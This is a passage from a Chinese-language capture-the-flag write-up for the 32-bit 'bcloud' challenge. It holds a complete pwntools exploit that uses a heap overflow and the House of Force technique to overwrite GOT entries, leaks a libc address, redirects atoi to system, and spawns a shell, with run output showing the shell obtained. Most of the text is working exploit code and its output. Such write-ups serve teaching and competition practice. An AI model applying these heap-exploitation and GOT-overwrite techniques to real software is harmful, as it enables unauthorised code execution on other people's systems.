0x804b0a8: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b0b8: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b0c8: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b0d8: 0x41414141 0x41414141 0x41414141 0x00000000
0x804b0e8: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b0f8: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b108: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b118: 0x41414141 0x41414141 0x0804b014 0x0804b03c <-- notes[0], notes[1]
0x804b128: 0x0804b03c 0x00000000 0x00000000 0x00000fa1 <-- notes[2] <-- top chunk
leak libc
def leak_libc():
global system_addr
edit(0, p32(elf.plt['puts'])) # free@got.plt -> puts@plt
delete(1) # puts(atoi_addr)
io.recvuntil("id:\n")
leak_atoi_addr = u32(io.recvn(4))
libc_base = leak_atoi_addr - libc.symbols['atoi']
system_addr = libc_base + libc.symbols['system']
log.info("leak atoi address: 0x%x" % leak_atoi_addr)
log.info("libc base: 0x%x" % libc_base)
log.info("system address: 0x%x" % system_addr)
接下来就可以利用 Edit 功能修改 GOT 表，泄漏 libc 地址了。
pwn
def pwn():
edit(2, p32(system_addr)) # atoi@got.plt -> system@got.plt
io.sendline("/bin/sh\x00")
io.interactive()
开启 ASLR，Bingo!!!
$ python exp.py
[+] Starting local process './bcloud': pid 6696
[*] leak heap address: 0x9181008
[*] leak atoi address: 0xf756b860
[*] libc base: 0xf753a000
[*] system address: 0xf757a190
[*] Switching to interactive mode
$ whoami
firmy
exploit
完整的 exp 如下：
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
io = process(['./bcloud'], env={'LD_PRELOAD':'./libc-2.19.so'})
elf = ELF('bcloud')
libc = ELF('libc-2.19.so')
bss_addr = 0x0804b0a0
def new(length, content):
io.sendlineafter("option--->>\n", '1')
io.sendlineafter("content:\n", str(length))
io.sendlineafter("content:\n", content)
def edit(idx, content):
io.sendlineafter("option--->>\n", '3')
io.sendline(str(idx))
io.sendline(content)
def delete(idx):
io.sendlineafter("option--->>\n", '4')
io.sendlineafter("id:\n", str(idx))
def leak_heap():
global leak
io.sendafter("name:\n", "A" * 0x40)
leak = u32(io.recvuntil('! Welcome', drop=True)[-4:])
log.info("leak heap address: 0x%x" % leak)
def house_of_force():
io.sendafter("Org:\n", "A" * 0x40)
io.sendlineafter("Host:\n", p32(0xffffffff)) # overflow
new((bss_addr - 0x8) - (leak + 0xd0) - 0x8 - 4, 'AAAA') # 0xd0 = top chunk - leak
payload = "A" * 0x80
payload += p32(elf.got['free']) # notes[0]
payload += p32(elf.got['atoi']) * 2 # notes[1], notes[2]
new(0x8c, payload)
def leak_libc():
global system_addr
edit(0, p32(elf.plt['puts'])) # free@got.plt -> puts@plt
delete(1) # puts(atoi_addr)
io.recvuntil("id:\n")
leak_atoi_addr = u32(io.recvn(4))
libc_base = leak_atoi_addr - libc.symbols['atoi']
system_addr = libc_base + libc.symbols['system']
log.info("leak atoi address: 0x%x" % leak_atoi_addr)
log.info("libc base: 0x%x" % libc_base)
log.info("system address: 0x%x" % system_addr)
def pwn():
edit(2, p32(system_addr)) # atoi@got.plt -> system@got.plt
io.sendline("/bin/sh\x00")
io.interactive()
if __name__ == '__main__':
leak_heap()
house_of_force()
leak_libc()
pwn()
参考资料
- https://ctftime.org/task/2165
Comments